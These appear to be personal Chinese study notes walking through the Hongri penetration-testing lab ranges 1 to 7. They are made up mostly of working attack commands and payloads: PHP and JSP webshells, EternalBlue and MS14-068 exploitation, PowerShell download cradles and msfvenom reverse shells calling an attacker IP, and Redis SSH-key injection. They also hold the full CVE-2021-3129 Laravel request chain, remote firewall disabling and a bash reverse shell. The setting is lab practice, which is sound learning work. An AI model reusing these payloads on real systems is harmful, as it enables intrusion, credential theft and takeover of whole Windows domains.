+红日靶场1 配置 说明:虚拟机所有初始密码都为hongrisec@2019(后面需要改密码,自己设置)
win7
要把打印机协议打开
1 2 3 4 本地--域 192.168.52.143 本地5 192.168.57.3
win2008
win2k3
在win7的phpstudy打开服务,打不开就重启一次
本地可以访问,其他用户无法访问
1 https://blog.csdn.net/liuhhaiffeng/article/details/72137102
开打
漏洞点 一rogue_mysql 任意文件读取,但是得盲猜,还要当前用户有权限
二 数据库弱口令 日志写码 1 2 3 4 查看日志状态: show variables like '%general%'; 开启general_log为True: SET GLOBAL general_log='on'; 执行命令指定日志写马: SET GLOBAL general_log_file='C:/phpStudy/www/1.php'; 写入一句话到马中: SELECT '<?php eval($_POST["cmd"]);?>';
三yxcms 备份文件泄露,可以找到,
首页有后台的登陆账号和密码
登陆后台写码(后台的前端管理界面,修改后的在备份文件里找目录
1 http://192.168.57.3/yxcms/protected/apps/default/view/default/info.php
dirmap 1 https://blog.51cto.com/u_16747374/12210159
四永恒之蓝直接打 内网 生成exe的码。蚁剑放进去
1 2 3 dir cs.exe attrib cs.exe +s +h
attrib cs.exe +s +h
的意思是将 cs.exe
文件的属性设置为:
法一 联动msf
spawn产卵,选监听
打永恒之蓝
法二 cs cs横移,jump–》psexec,因为win7机子32的
开远程桌面 法一
端口转发–即可将内网域控主机的192.168.52.138
的 3389 端口代理到 Win7 跳板机的 9999 端口上,大佬演示如下:
portfwd add -l 9999 -r 192.168.52.138 -p 3389
-
run post/windows/manage/enable_rdp
法二 1 2 3 4 5 6 7 8 9 10 #win7开启3389 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f # 添加账户密码 net user Tr0e Pass!@123 /add # 给Tr0e账户添加为管理员权限 net localgroup administrators Tr0e /add #查询是否成功添加 Tr0e 用户 net user Tr0e #添加防火墙规则 netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389
参考 1 https://blog.csdn.net/braty_/article/details/133283870
1 https://www.cnblogs.com/pa0fu/p/18287429
1 https://www.freebuf.com/articles/web/341470.html
1 https://blog.csdn.net/weixin_39190897/article/details/118353886
+红日靶场2 1 2 Intranet //内网 internals //内部
DC: server2012
pc:
web:win7
1 2 3 用户登录账号密码为:de1ay、1qaz@WSX 管理员账号密码为:administrator、1qaz@WSX
描述 红日2web机子用的是weblogic服务
网卡配置 DHCP (Dynamic Host Configuration Protocol,动态主机配置协议)
是一种用于自动分配 IP 地址和其他网络配置参数的网络协议。
vm
v8–192.168.57.0
v5–10.10.10.0
最开始是下边这样,根据自己虚拟网卡改,或者改虚拟网卡
1 2 3 4 5 6 7 8 web两张网卡: 外网ip - 192.168.111.80 内网ip - 10.10.10.80 PC两张网卡: 外网ip - 192.168.10.201 内网ip - 10.10.10.201 DC: server2012 内网ip - 10.10.10.10
改成
1 2 3 4 5 6 7 8 web两张网卡: 外网ip - 192.168.57.80 内网ip - 10.10.10.80 PC两张网卡: 外网ip - 192.168.57.201 内网ip - 10.10.10.201 DC: 内网ip - 10.10.10.10
成功标志能通IP
域控机无法ping web机和pc机 web机和pc机子的防火墙smb(打印机入站打开
开打 1 2 C://Oraclelliddlewareluser projectsldomainslbase domainlbin 这里有startweblogic启动脚本,可以开启web服务
disearch 直接访问80端口是黑的,没开放
192.168.10.80:7001/console这是首页
1 2 3 4 5 6 445端口开放意味着存在smb服务,可能存在ms17_010永恒之蓝漏洞。 139端口开放即存在Samba服务,就可能存在爆破/未授权访问/远程命令执行漏洞。 1433端口开放就存在mssql服务,可能存在爆破/注入/SA弱口令。 3389端口开放存在远程桌面。 7001端口开放就存在weblogic。 7001端口是可行的即weblogic的漏洞
1 python3 WeblogicScan.py -u 192.168.57.80 -p 7001
扫出来利用
1 https://github.com/shack2/javaserializetools
cs 1 powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.57.131/1'))"
1 powershell.exe -c "IEX ((new-object net.webclient).downloadstring('http://192.168.57.131/1'))"
msf 1 2 3 4 5 6 7 8 9 msfconsole #进入框架 search ms17_010 # 使用search命令查找相关漏洞 use exploit/windows/smb/ms17_010_eternalblue # 使用use进入模块 info #使用info查看模块信息 set payload windows/x64/meterpreter/reverse_tcp #设置攻击载荷 show options #查看模块需要配置的参数 set RHOST 192.168.100.158 #设置参数 exploit / run #攻击 后渗透阶段 #后渗透阶段
在msf6中切换
1 2 3 sessions //出列表 sessions -i id //切换
在meterpreter
获取shell 法一 1 2 3 4 5 use exploit/multi/handler show options set payload java/meterpreter/reverse_tcp set lhost 192.168.57.131 exploit
法二 msf
1 2 3 4 5 6 7 8 9 use exploit/multi/misc/weblogic_deserialize_asyncresponseservice set rhosts 192.168.57.80 set lhost 192.168.57.131 set target 1 run
法三
师傅的冰蝎码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%> <%!class U extends ClassLoader{ U(ClassLoader c){ super(c); } public Class g(byte []b){ return super.defineClass(b,0,b.length); } }%> <%if (request.getMethod().equals("POST")) { String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/ session.putValue("u",k); Cipher c=Cipher.getInstance("AES"); c.init(2,new SecretKeySpec(k.getBytes(),"AES")); new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); }%>
然后利用弹shell机制处理完给cs,但我没弹出来
法四 永恒之蓝,但被360拦截了
1 https://cloud.tencent.com/developer/article/2187130
弹给cs 法一 用的是上述弹shell方法2
1 2 3 4 5 6 7 8 background use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set DisablePayloadHandler true set lhost 192.168.235.129 set lport 8888 set session 2 run
法二 文件上传cs的exe码,然后命令执行去执行
理论可行,未实践
提权 右键elevate提权,用的svc-exe
1 2 3 4 5 6 7 8 9 10 net user /domain #查询域内用户 shell ipconfig /all # 查看本机ip,所在域 shell net group "domain admins" /domain #查看域管理员用户 net group "domain controllers" /domain #查看域控: net group "domain computers" /domain # 查看域中的其他主机名
ping 其他主机获取IP
1 2 shell ping DC shell ping PC
使用arp探测一下内网机器及端口
横向移动 法一 用到cs的smb beacon进行流量中转
内网主机探活+端口扫描 portscan 网段 端口 协议(icmp arp none)线程 portscan 10.10.10.0/24 445 arp 50
1 shell portscan 10.10.10.0/24 1-1024,3389,5000-6000 arp 1024
445端口。可以尝试psexec横向移动登录DC mimikatz运行一下,在登录域控
psexec64,用web的管理员账户会话,监听器新建smb
PsExec_64
是 PsExec 工具的 64 位版本。它是由 Sysinternals 提供的一个命令行工具,允许用户在远程计算机上执行命令,而无需通过 RDP (Remote Desktop Protocol,远程桌面协议)或物理访问。
用DC进入其他域用户 jump->psexec_psh
psexec_psh
是一个 PowerShell 利用模块,它通常被用于在目标系统上通过 PowerShell 执行命令。
PSH 是 PowerShell 的缩写
法二-未成功 通过web机子用ipc登录
用sc关闭DC防火墙
权限维持 生成黄金票据 以后就可以通过边缘主机去访问这台域控
首先hashdump
出krbtgt的hash值
sid //run mimikatz或者
web主机上生成票据
添加域管账户
shell net user /domain
shell net group “domian Admins” bbb /add /domain
net group “Domain admins” 查看域管用户
参考 一
1 https://blog.csdn.net/qq_51295677/article/details/124999758
二
1 https://blog.csdn.net/qq_45780190/article/details/123156086
三
1 https://xz.aliyun.com/t/9855?time__1311=n4%2BxnD0DuDRD9BDyAQD%2FiaReWqhDoiYD02oTD#toc-9
四
1 https://drunkmars.top/2021/07/21/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA2/
1 https://paoka1.top/2023/10/22/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA%E4%BA%8C%E7%AC%94%E8%AE%B0/
1 https://www.cnblogs.com/bktown/p/16904232.html#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8
msf–c语言免杀
1 https://paoka1.top/2023/10/22/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA%E4%BA%8C%E7%AC%94%E8%AE%B0/
1 https://paoka1.top/2023/06/18/MSF-%E4%B8%8A%E7%BA%BF%E6%8E%A2%E7%A9%B6%E4%B8%8E%E5%85%8D%E6%9D%80/
+红日靶场3 靶机下载出来是挂起状态
nmap扫一下
1 2 3 nmap -sP -T4 192.168.57.0/24 #出内网用户 Nmap -T4 -sC -sV 192.168.1.110
adduser wwwuser
passwd wwwuser_123Aqx
参考资料 1 https://www.cnblogs.com/yuy0ung/articles/18343774
1 https://www.cnblogs.com/hellobao/articles/17247184.html
1 https://blog.csdn.net/zhouA0221/article/details/143165690
+红日靶场4 环境配置 网卡二改为192.168.183.0
DC.OVF文件导入虚拟机,就是新的
账号密码 内网网段要为192.168.183.0,不然win7的没权限账号,需要
1 2 3 4 WEB主机 ubuntu:ubuntu WIN7主机 douser:Dotest123 (DC)WIN2008主机 administrator:Test2008 进去需要改密码,我改为
1 先打开win7和DC靶机,web先不要打开;打开win7 ,密码Dotest123,点击控制面板,搜索电源,更改节能设置,全改为从不
显示检测不到,不过没关系,能ping
IP
win7
DC
web机子
192.168.183.3
192.168.57.5
都可以ping通就行
开启Ubuntu的docker服务 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 进入root,使用docker开启docker ps -a中的第一,二,三和最后一个。 ubuntu@ubuntu:~$ sudo -s [sudo] password for ubuntu: root@ubuntu:~# docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES ec814f6ee002 vulhub/phpmyadmin:4.8.1 "docker-php-entrypoi…" 4 years ago Exited (255) 11 minutes ago 0.0.0.0:2003->80/tcp cve-2018-12613_web_1 174745108fcb vulhub/struts2:2.3.30 "/usr/local/bin/mvn-…" 4 years ago Exited (255) 11 minutes ago 0.0.0.0:2001->8080/tcp s2-045_struts2_1 09dd4e5bfa91 cve-2017-12615_tomcat "catalina.sh run" 4 years ago Exited (255) 11 minutes ago 0.0.0.0:2002->8080/tcp cve-2017-12615_tomcat_1 bbbcc627166b 910e51b43315 "docker-php-entrypoi…" 4 years ago Exited (0) 4 years ago compassionate_euler da81127935d7 910e51b43315 "docker-php-entrypoi…" 4 years ago Exited (0) 4 years ago blissful_benz 3dbc242a8b6c 910e51b43315 "docker-php-entrypoi…" 4 years ago Exited (0) 4 years ago elegant_perlman abe05b39a6d6 910e51b43315 "docker-php-entrypoi…" 4 years ago Exited (0) 4 years ago wonderful_fermat ad7866b3df9b mysql:5.5 "docker-entrypoint.s…" 4 years ago Exited (0) 4 years ago cve-2018-12613_mysql_1 root@ubuntu:~# docker start ec814f6ee002 ec814f6ee002 root@ubuntu:~# docker start 174745108fcb 174745108fcb root@ubuntu:~# docker start 09dd4e5bfa91 09dd4e5bfa91 root@ubuntu:~# docker start ad7866b3df9b ad7866b3df9b
+开打/前端 主机探测+端口探测 1 2 arp-scan -l nmap -Pn 192.168.57.?
确认IP192.168.57.5
挨个端口看看 2001是文件上传 查看网页源代码和工具,是java的struts
Struts2 Showcase - Fileupload sample
先扫扫struct2
下载后需要编译:go build
1 https://github.com/xfiftyone/STS2G
1 2 探测 ./ST2G --url=http://192.168.157.128:2001 --mode scan
1 2 3 4 5 打 ./ST2G --url=http://192.168.57.5:2001 --mode exec --vn 45 --cmd id --vn:爆出的漏洞编码 --cmd:shell命令
2002是tomcat 1 https://blog.csdn.net/allintao/article/details/129503762
进去版本号直接给了,找cve
2003是直接进数据库了,甚至没有弱口令 版本信息: 4.8.1
有任意文件包含漏洞
1 http://192.168.57.5:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
包含session文件,获得getshell
select ““
先退出账号,刷新sesison值,然后登录写码
写码 1 select '<?php file_put_contents("shell.php","<?php @eval(\$_POST[1]);?>");?>';
1 http://192.168.57.5:2003/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_bed4439747e259290e4e88615bba0ef9
shell.php空白页有码
慢日志也该也行,没试 ++docker逃逸 1 2 3 4 5 接下来使用2002端口,进行渗透 回到根目录/,ls -al发现.dockernv文件,这个文件只有在docker中才会出现,所以推断这是docker容器 fdisk -l:查看当前可挂载的磁盘------------->发现/dev/sda1,这个是默认的原系统磁盘 mount /dev/sda1 /tet ------------->将/dev/sda1挂载到/tet(新建的)中,然后就得到了源系统根目录下的所有文件
ssh密钥爆破
在home/ubuntu/.ssh中有一个ssh连接的密钥,复制下来,看看能不能爆破
换kali vim ssh 粘贴里面
ssh2john ssh >hash 将密钥转化为可以爆破的对象
john hash –wordlist=/usr/share/wordlists/rockyou.txt 爆破
ssh -i ssh ubuntu@192.168.57.5 远程连接
+++域渗透 先提权Ubuntu 1+frp隧道 1 2 3 4 5 6 7 8 9 10 frpc.ini [common] server_addr = 192.168.57.131 server_port = 7000 [socks_proxy] type = tcp remote_port = 1080 plugin = socks4
1 2 3 frps.ini [common] bind_port = 7000
tail /etc/proxychains4.conf
客户端
服务器 -kali
+msf msf里面
做码
1 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.57.131 LPORT=2095 -f elf > 2095.elf
1 python -m http.server 8080
监听
1 2 3 4 5 use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 2095 exploit
客户端Ubuntu
1 2 3 4 wget http://VPSip:8080/2095.elf chmod 777 2095.elf nohup ./2095.elf &
弹出meterpreter
打域 ifconfig看其他网卡
扫内网用户
1 2 run autoroute -s 192.168.183.0/24 run autoroute -p
创建socks隧道 用的chisel或者msf都行
永恒之蓝打win7
去桌面用工具
1 cd \Users\douser\Desktop
mimikatz 1 2 privilege::debug提取权限 sekurlsa::logonpasswords命令进行抓取明文密码+SID
域提权MS14-068 利用Kerberos 域用户提权漏洞(MS14-068;CVE-2014-6324)来获得域控。
如果攻击者获取了域内任何一台计算机的Shell权限,同时知道任意域用户的用户名、SID、密码,即可获得域管理员权限,进而控制域控制器,最终获得域权限。
使用PyKEK可以生成一张高权限的服务票据,并通过mimikatz将服务票据注人内存。
使用PyKEK,可以将Python文件转换为可执行文件(在没有配置Python环境的操作系统中也可以执行此操作,在这台靶机中靶场搭建者已经给大家准备好了可执行文件版的MS14-068.exe)
利用ms14-068伪造票据
1 2 3 ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123 // ms14-068.exe -u 域成员名@域名.com -s 域成员sid -d 域控制器ip地址 -p 域成员密码
2、查看注入前的权限
1 将票据文件复制到Windows Sever 2008机器的mimikatz目录下,使用mimikatz将票据注入内存。输入命令“net use \WIN-ENS2VR5TR3N\c$”,提示“Access is denied",表示在将票据注入前无法列出域控制器C盘目录的内容。
3、清除内存中的所有票据
mimikatz
4、将高权限的票据注入内存
1 kerberos::ptc TGT_douser@DEMO.COM.ccache
5、查看域控
1 2 net use \\WIN-ENS2VR5TR3N dir \\WIN-ENS2VR5TR3N\c$
打域控 法一关墙 首先关闭WIN7 防火墙
1 NetSh Advfirewall set allprofiles state off
新建服务来关闭域控 的防火墙:
1 2 3 sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \\WIN-ENS2VR5TR3N start unablefirewall
msf生成码
1 msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=192.168.183.130 LPORT=7777 -f exe > bind.exe
创建服务运行木马
1 2 sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe" sc \\WIN-ENS2VR5TR3N start bindshell
msf监听
1 2 3 4 5 6 7 use exploit/multi/handler set Proxies socks5:127.0.0.1:1080 set payload windows/meterpreter/bind_tcp set rhost 192.168.183.130 set lport 7777 set AutoRunScript post/windows/manage/migrate run
法二关墙 1 2 3 4 5 echo netsh advfirewall set allprofiles state off > zxx.bat copy zxx.bat \\WIN-ENS2VR5TR3N\c$ schtasks /create /S WIN-ENS2VR5TR3N /TN "aaa" /TR C:\xyc.bat /SC MINUTE /MO 1 /ru system /f /RP
1 schtasks /create /S WIN-ENS2VR5TR3N /TN "aaa" /TR C:\bind.exe /SC MINUTE /MO 1 /ru system /f /RP
拿域控shell 打法1
应该是能传过来,只是在我这有信号传过来但没shell
打法2
2+chisel隧道 1 2 ./chisel server -p 6666 --reverse ./chisel client 192.168.57.8:6666 R:socks
先将木马上传到win7中
再进入win7中,将木马传给域控:
1 copy bind.exe \\WIN-ENS2VR5TR3N\c$
启动
传上去chisel
ubuntu的shell上
编辑proxychains4.conf文件: 因为上面server监听的是socks的是1080端口,进下边改掉
1 vim /etc/proxychains4.conf
socks4改成5 端口9050换成1080
代理成功的证明如下
探测是否存在永恒之蓝漏洞
1 2 3 use auxiliary/scanner/smb/smb_ms17_010 set rhosts 192.168.183.130-131 run
攻击
1 2 3 4 5 6 7 setg Proxies socks5:127.0.0.1:1080 // 挂代理,这个洞很难打。。。。。 use exploit/windows/smb/ms17_010_eternalblue set rhost 192.168.183.2 set lport 8888 set AutoRunScript post/windows/manage/migrate // 自动迁移进程 run
怀疑这个代理不稳定
这不知道什么情况,挂这吧
这个不是代理的原因,是这个win7有点老旧,容易卡死机,重启一下,重启一分钟之内给打掉就好了
Ubuntu上线cs不会用了
参考资料 1 https://www.cnblogs.com/itchen-2002/p/18412801/to-8tqri
1 https://blog.csdn.net/qq_50696533/article/details/128482331
1 https://blog.csdn.net/woshicainiao666/article/details/136253322
1 https://blog.csdn.net/qq_39583774/article/details/133650244
+红日靶场5 密码
1 2 3 4 5 6 7 win7 sun\heart 123.com sun\Administrator dc123.com 2008 sun\admin 2020.com 修改为
进去就是thinkphp5.0,搜版本漏洞
1 2 3 4 searchsploit thinkphp 出现的去找 cd /usr/share/exploitdb/exploits/php/webapps cat 46150.txt
看有无杀软👇
写码👇
1 echo "<?php @eval($_POST[cmd]);?>" > 121.php
可连蚁剑,接下来传入cms生成码
生成码
1 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=4444 -f exe > abc.exe
监听
1 2 3 4 5 use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 192.168.57.8 set lport 4444 exploit
不知道为什么msf上线失败,直接走cs
生成黄金票据或白银票据
参考资料–后来复现不出来拿cs自己做了
1 https://drunkmars.top/2021/07/06/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA5/
1 https://blog.csdn.net/qq_58091216/article/details/130513067
+红日靶场6 靶场应该坏了,没做
1 2 3 V3.2 web\de1ay | 1qaz!QAZ1qaz!QAZ de1ay\de2ay | 1qaz@WSX!QAZ2wsx #web机子
+红日靶场7 1 2 3 4 5 6 7 8 9 10 11 12 用户名密码: 域用户账户和密码如下: Administrator:Whoami2021 whoami:Whoami2021 bunny:Bunny2021 moretz:Moretz2021 Ubuntu 1: web:web2021 Ubuntu 2: ubuntu:ubuntu
配置
出现错误
右上角关机键右边有个设置,在那边能连接,要不就在换个网卡
开打 信息搜集
1 nmap -T4 -sC -sV 192.168.1.157 -p 1-65535
6379端口-radis redis-cli -h 192.168.1.157
直接进去了,
打web1 1 Redis未授权访问是因为一些Redis服务绑定到公共接口,甚至没有密码身份验证保护,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),而又暴露在公网上,这样就会导致任意用户在可以访问此公网的情况下未授权访问Redis以及读取Redis的数据。
往目标主机写入ssh公钥,先在kali上生成一段
1 2 3 4 5 6 ssh-keygen -t rsa (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt cat key.txt | redis-cli -h 192.168.1.6 -x set xxx // -x 代表从标准输入读取数据作为该命令的最后一个参数。
然后使用攻击机连接目标机器Redis,分别执行如下命令将ssh公钥写入目标主机:
1 2 3 4 5 6 config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/ config set dbfilename authorized_keys # 设置保存文件名为authorized_keys save # 将数据保存在目标服务器硬盘上
直接ssh ip 就连上了
打web2 Laravel v8.29.0 (PHP v7.4.14) 有这个laravel的标识,直接搜cve
用github上的脚本写出的码哥斯拉连不上去,添加数据没有出来的数据,就直接手动发包打(CVE-2021-3129)
手动 poc生成命令
1 php74 -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
①清除日志
1 2 3 4 5 6 7 8 9 10 11 12 POST /_ignition/execute-solution HTTP/1.1 Host: 192.168.1.157:81 Content-Type: application/json Content-Length: 330 { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log" } }
②log加前缀对齐
1 2 3 4 5 6 7 8 9 10 11 12 POST /_ignition/execute-solution HTTP/1.1 Host: 192.168.1.157:81 Content-Type: application/json Content-Length: 165 { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "AA" } }
③将POC作为viewFile的值,发送数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /_ignition/execute-solution HTTP/1.1 Host: 192.168.1.157:81 Content-Type: application/json Content-Length: 5050 { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName":"username", "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=66=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=49=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4E=00=54=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=67=00=70=00=4F=00=79=00=42=00=6C=00=65=00=47=00=6C=00=30=00=4F=00=79=00=41=00=2F=00=50=00=69=00=49=00=37=00=66=00=58=00=31=00=39=00=42=00=51=00=41=00=41=00=41=00=47=00=52=00=31=00=62=00=57=00=31=00=35=00=42=00=41=00=41=00=41=00=41=00=4F=00=71=00=2B=00=35=00=6D=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=4F=00=71=00=2B=00=35=00=6D=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=54=00=67=00=6A=00=72=00=5A=00=4C=00=35=00=2F=00=43=00=56=00=58=00=4B=00=44=00=62=00=37=00=76=00=54=00=59=00=6B=00=47=00=48=00=5A=00=6B=00=58=00=6D=00=67=00=4A=00=77=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a" } }
④清空log文件中的干扰字符
1 2 3 4 5 6 7 8 9 10 11 12 POST /_ignition/execute-solution HTTP/1.1 Host: 192.168.1.157:81 Content-Type: application/json Content-Length: 299 { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log" } }
⑤执行反序列化phar://
1 2 3 4 5 6 7 8 9 10 11 12 POST /_ignition/execute-solution HTTP/1.1 Host: 192.168.1.157:81 Content-Type: application/json Content-Length: 210 { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt" } }
换成一句话木马poc
1 php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
然后查看是docker里面,然后蚁剑插件的命令执行弹个shell
1 bash -c "bash -i >& /dev/tcp/192.168.1.129/444 0>&1"
提权
